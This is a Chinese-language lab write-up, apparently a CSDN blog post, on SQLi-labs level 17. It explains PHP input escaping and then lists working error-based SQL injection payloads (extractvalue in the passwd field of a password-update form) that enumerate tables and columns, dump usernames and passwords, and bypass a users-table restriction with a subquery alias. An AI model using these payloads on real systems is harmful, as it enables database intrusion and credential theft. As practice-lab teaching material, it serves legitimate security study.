Sqlilabs-17

来到了 17 关,从这关开始刚学习需要借助源码来配合学习,本关学习内容是 update 内容

5326f69f82a4d40141309e5c185c32a.png

从源码中可以看到,开发者的意图流程是:

325ef6d2f5e69727cee4fd998fd48a8.png

首先查询用户名相匹配的 users 表中 数据,所以这里如果需要注入首先得有一个在数据库中已经有了的用户名,若是现实挖掘漏洞过程中这,如果可以,可以先自己先注册一个,这下在数据库中就躺着了一个可利用的用户名和密码…,没有的话可以盲猜,如一般都有 admin guest等等可以直接利用的…

继续往下看源码,你会发现 username 身上加了个check_input,转到 check_input 该函数看看:

f8a88f7347258292b1705c5c0a1d129.png

可以看到有三个不为人知的东西在上面…
b3393226497ee00714eab9fad230b91.png
这些都是个什么东西捏( ̄▽ ̄)*?
首先这里有个姿势需要 get:就是默认地 PHP 会对所有的 GET/POST/COOKIE 数据自动运行 addslashes() 函数,这是个什么东西呢?
addslashes()函数:一个会在预定义字符之前添加反斜杠的函数,即会帮助转义

预定义字符有:

  • 单引号(’)
  • 双引号(")
  • 反斜杠()
  • NULL

所以在平时过程中,咱就不用手动加转义字符了,但怕有些人进行了双层转义,所以可以使用 get_magic_quotes_gpc() 来进行检测,其参数为 string,string类型,内容为规定要转义的字符串,该函数返回内容为已转义的字符串,该函数适用于 PHP 版本 4.0+

第三个要介绍的就是 stripslashes() 函数,该函数可以删除 addslashes() 函数添加的反斜杠

最后就是 mysql_real_escape_string() 函数:
它将转义 SQL 语句中使用的字符串中的特殊字符

check_input 就对 username 做了各种转义字符的处理,使得我们再 username payload 注入毫无效果,所以无法像前几关那样对 username 直接下手,既然无法下手,那就转场到 password

072c0e7b51d5e59acfb23278b07417e.png

可以看到对 password 进行了更新操作,这其实就是一个改密码的功能嘛,我们在 username 输入正确的用户名,password 就是用来该密码的…
输入前:admin 密码为 admin:

8e4bd976706d46a0b3a8a0d7b45b3f5.png

输入 123 后:

58532055238ba06c55a3256fc835d3b.png

所以第 17 关本身提供的就是修改密码的功能,上面初步介绍了下开发流程,下面开始制作 payload

–查表
uname=admin&passwd=111' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) and '1&submit=submit

–查列
uname=admin&passwd=111' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e)) and '1&submit=submit

–查用户名
uname=admin&passwd=111' and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e)) and '1&submit=submit
1a6f8bb452d9d92ecd8cd2d3bfdde02.png
报错,因为后台对 users 表做了限制,不给你查名称是 users 的,那咱们就给它换个名字,加件衣服

–绕过
uname=admin&passwd=111' and extractvalue(1,concat(0x7e,(select username from (select username from users)a limit 0,1),0x7e)) and '1&submit=submit

–查密码
uname=admin&passwd=111' and extractvalue(1,concat(0x7e,(select password from (select password from users)a limit 0,1),0x7e)) and '1&submit=submit

😄

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值